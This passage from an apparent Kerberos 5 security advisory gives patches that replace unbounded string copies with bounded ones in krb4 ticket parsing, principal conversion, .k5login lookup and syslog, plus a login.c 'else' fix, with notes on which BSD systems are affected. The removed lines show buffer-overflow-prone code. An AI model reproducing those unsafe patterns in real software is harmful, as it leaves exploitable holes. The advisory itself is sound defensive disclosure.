    RCS file: /cvs/krbdev/krb5/src/lib/krb4/rd_req.c,v
    retrieving revision 1.9
    diff -c -r1.9 rd_req.c
    *** rd_req.c    1999/02/09 02:57:14     1.9
    --- rd_req.c    2000/04/29 03:00:53
    ***************
    *** 184,189 ****
    --- 184,191 ----
          krb5_keyblock keyblock;
          int status;

    +     tkt->mbz = req_id->mbz = 0;
    +
          if (authent->length <= 0)
            return(RD_AP_MODIFIED);

    ***************
    *** 219,226 ****
              mutual = 0;
      #endif /* lint */
          s_kvno = *ptr++;          /* get server key version */
    !     (void) strcpy(realm,ptr);   /* And the realm of the issuing KDC */
    !     ptr += strlen(ptr) + 1;     /* skip the realm "hint" */

          /*
           * If "fn" is NULL, key info should already be set; don't
    --- 221,229 ----
              mutual = 0;
      #endif /* lint */
          s_kvno = *ptr++;          /* get server key version */
    !     (void) strncpy(realm,ptr,REALM_SZ);       /* And the realm of the issuing KDC */
    !     realm[REALM_SZ-1] = '\0';
    !     ptr += strlen(realm) + 1; /* skip the realm "hint" */

          /*
           * If "fn" is NULL, key info should already be set; don't
    ***************
    *** 324,336 ****
      #define check_ptr() if ((ptr - (char *) req_id->dat) > req_id->length) return(RD_AP_MODIFIED);

          ptr = (char *) req_id->dat;
    !     (void) strcpy(r_aname,ptr);       /* Authentication name */
          ptr += strlen(r_aname)+1;
          check_ptr();
    !     (void) strcpy(r_inst,ptr);        /* Authentication instance */
          ptr += strlen(r_inst)+1;
          check_ptr();
    !     (void) strcpy(r_realm,ptr);       /* Authentication name */
          ptr += strlen(r_realm)+1;
          check_ptr();
          memcpy((char *)&ad->checksum, ptr, 4);    /* Checksum */
    --- 327,342 ----
      #define check_ptr() if ((ptr - (char *) req_id->dat) > req_id->length) return(RD_AP_MODIFIED);

          ptr = (char *) req_id->dat;
    !     (void) strncpy(r_aname,ptr,ANAME_SZ); /* Authentication name */
    !     r_aname[ANAME_SZ-1] = '\0';
          ptr += strlen(r_aname)+1;
          check_ptr();
    !     (void) strncpy(r_inst,ptr,INST_SZ);       /* Authentication instance */
    !     r_inst[INST_SZ-1] = '\0';
          ptr += strlen(r_inst)+1;
          check_ptr();
    !     (void) strncpy(r_realm,ptr,REALM_SZ); /* Authentication name */
    !     r_realm[REALM_SZ-1] = '\0';
          ptr += strlen(r_realm)+1;
          check_ptr();
          memcpy((char *)&ad->checksum, ptr, 4);    /* Checksum */
    Index: lib/krb5/krb/conv_princ.c
    ===================================================================
    RCS file: /cvs/krbdev/krb5/src/lib/krb5/krb/conv_princ.c,v
    retrieving revision 1.23.2.2
    diff -c -r1.23.2.2 conv_princ.c
    *** conv_princ.c        1999/10/12 23:16:58     1.23.2.2
    --- conv_princ.c        2000/04/29 03:00:55
    ***************
    *** 234,240 ****
                  if (retval == 0 && full_name && full_name[0]) {
                      instance = full_name[0];
                  } else {
    !                 strcpy(buf, instance);
                      retval = krb5_get_realm_domain(context, realm, &domain);
                      if (retval)
                          return retval;
    --- 234,241 ----
                  if (retval == 0 && full_name && full_name[0]) {
                      instance = full_name[0];
                  } else {
    !                 strncpy(buf, instance, sizeof(buf));
    !                 buf[sizeof(buf) - 1] = '\0';
                      retval = krb5_get_realm_domain(context, realm, &domain);
                      if (retval)
                          return retval;
    ***************
    *** 242,249 ****
                          for (cp = domain; *cp; cp++)
                              if (isupper(*cp))
                                  *cp = tolower(*cp);
    !                     strcat(buf, ".");
    !                     strcat(buf, domain);
                          krb5_xfree(domain);
                      }
                      instance = buf;
    --- 243,250 ----
                          for (cp = domain; *cp; cp++)
                              if (isupper(*cp))
                                  *cp = tolower(*cp);
    !                     strncat(buf, ".", sizeof(buf) - 1 - strlen(buf));
    !                     strncat(buf, domain, sizeof(buf) - 1 - strlen(buf));
                          krb5_xfree(domain);
                      }
                      instance = buf;
    Index: lib/krb5/os/kuserok.c
    ===================================================================
    RCS file: /cvs/krbdev/krb5/src/lib/krb5/os/kuserok.c,v
    retrieving revision 5.20.4.2
    diff -c -r5.20.4.2 kuserok.c
    *** kuserok.c   1999/09/23 00:50:45     5.20.4.2
    --- kuserok.c   2000/04/29 03:00:55
    ***************
    *** 80,87 ****
          if ((pwd = getpwnam(luser)) == NULL) {
            return(FALSE);
          }
    !     (void) strcpy(pbuf, pwd->pw_dir);
    !     (void) strcat(pbuf, "/.k5login");

          if (access(pbuf, F_OK)) {  /* not accessible */
            /*
    --- 80,88 ----
          if ((pwd = getpwnam(luser)) == NULL) {
            return(FALSE);
          }
    !     (void) strncpy(pbuf, pwd->pw_dir, sizeof(pbuf) - 1);
    !     pbuf[sizeof(pbuf) - 1] = '\0';
    !     (void) strncat(pbuf, "/.k5login", sizeof(pbuf) - 1 - strlen(pbuf));

          if (access(pbuf, F_OK)) {  /* not accessible */
            /*
    Index: lib/krb5/posix/syslog.c
    ===================================================================
    RCS file: /cvs/krbdev/krb5/src/lib/krb5/posix/syslog.c,v
    retrieving revision 5.8
    diff -c -r5.8 syslog.c
    *** syslog.c    1998/07/17 20:39:43     5.8
    --- syslog.c    2000/04/29 03:00:55
    ***************
    *** 115,121 ****
            (void)sprintf(tbuf, "<%d>%.15s ", pri, ctime(&now) + 4);
            for (p = tbuf; *p; ++p);
            if (LogTag) {
    !               (void)strcpy(p, LogTag);
                    for (; *p; ++p);
            }
            if (LogStat & LOG_PID) {
    --- 115,121 ----
            (void)sprintf(tbuf, "<%d>%.15s ", pri, ctime(&now) + 4);
            for (p = tbuf; *p; ++p);
            if (LogTag) {
    !               (void)strncpy(p, LogTag, sizeof(tbuf) - 1 - (p - tbuf));
                    for (; *p; ++p);
            }
            if (LogStat & LOG_PID) {
    ***************
    *** 146,151 ****
    --- 146,156 ----
            }

            (void)vsprintf(p, fmt_cpy, ap);
    +       /* Bounds checking??  If a system doesn't have syslog, we
    +          probably can't rely on it having vsnprintf either.  Try not
    +          to let a buffer overrun be exploited.  */
    +       if (strlen (tbuf) >= sizeof (tbuf))
    +         abort ();

            /* output the message to the local logger */
            if (send(LogFile, tbuf, cnt = strlen(tbuf), 0) >= 0 ||
    ***************
    *** 169,175 ****
                    if ((fd = open(CONSOLE, O_WRONLY, 0)) < 0)
                            return;
                    (void)alarm((u_int)0);
    !               (void)strcat(tbuf, "\r");
                    p = strchr(tbuf, '>') + 1;
                    (void)write(fd, p, cnt + 1 - (p - tbuf));
                    (void)close(fd);
    --- 174,181 ----
                    if ((fd = open(CONSOLE, O_WRONLY, 0)) < 0)
                            return;
                    (void)alarm((u_int)0);
    !               tbuf[sizeof(tbuf) - 1] = '\0';
    !               (void)strncat(tbuf, "\r", sizeof(tbuf) - 1 - strlen(tbuf));
                    p = strchr(tbuf, '>') + 1;
                    (void)write(fd, p, cnt + 1 - (p - tbuf));
                    (void)close(fd);

    It  turns  out  that  if  you  compile krb5-1.1 or krb5-1.1.1 with
    the --without-krb4 option, a  dangling "else" clause is  activated
    in login.c  that has  disastrous results.   The patch  below deals
    with this.

    Index: login.c
    ===================================================================
    RCS file: /cvs/krbdev/krb5/src/appl/bsd/login.c,v
    retrieving revision 5.77
    retrieving revision 5.78
    diff -c -r5.77 -r5.78
    *** login.c     1999/12/15 02:14:55     5.77
    --- login.c     2000/02/06 21:57:32     5.78
    ***************
    *** 1455,1465 ****
      #ifdef KRB5_GET_TICKETS
          if (login_krb5_get_tickets)
            dofork();
    -     else
      #endif
      #ifdef KRB4_GET_TICKETS
    !       if (login_krb4_get_tickets)
    !           dofork();
      #endif

      /* If the user's shell does not do job control we should put it in a
    --- 1455,1464 ----
      #ifdef KRB5_GET_TICKETS
          if (login_krb5_get_tickets)
            dofork();
      #endif
      #ifdef KRB4_GET_TICKETS
    !     else if (login_krb4_get_tickets)
    !       dofork();
      #endif

      /* If the user's shell does not do job control we should put it in a
    ***************
    *** 1587,1597 ****
      #ifdef KRB5_GET_TICKETS
          if (forwarded_v5_tickets)
            destroy_tickets();
    -     else
      #endif
      #ifdef KRB4_GET_TICKETS
    !       if (got_v4_tickets)
    !           destroy_tickets();
      #endif

      #ifdef OQUOTA
    --- 1586,1595 ----
      #ifdef KRB5_GET_TICKETS
          if (forwarded_v5_tickets)
            destroy_tickets();
      #endif
      #ifdef KRB4_GET_TICKETS
    !     else if (got_v4_tickets)
    !         destroy_tickets();
      #endif

      #ifdef OQUOTA

    FreeBSD  is  not  vulnerable  by  default  (as  Kerberos  is   not
    installed).   OpenBSD uses  the KTH  Kerberos distribution,  which
    has been reported to be not vulnerable.

    NetBSD has two codebases for crypto software, a legacy of the US's
    export laws  until recently  (and also  some patent  issues).  The
    crypto-intl tree intended for use by those outside the US was  not
    affected.  For the crypto-us tree,

        * krb5 was not affected
        * krb4  was  affected,  and  has been fixed in  NetBSD-current
          since Jeff's announcement; this fix is making it's way  into
          the 1.4.x release  branch. We will  release an advisory  and
          patches shortly.

    The vulnerabilities described in  this advisory will be  addressed
    in Kerberos 5  version 1.2.   This version will  be available from
    the MIT Kerberos web site:

        http://web.mit.edu/kerberos/www/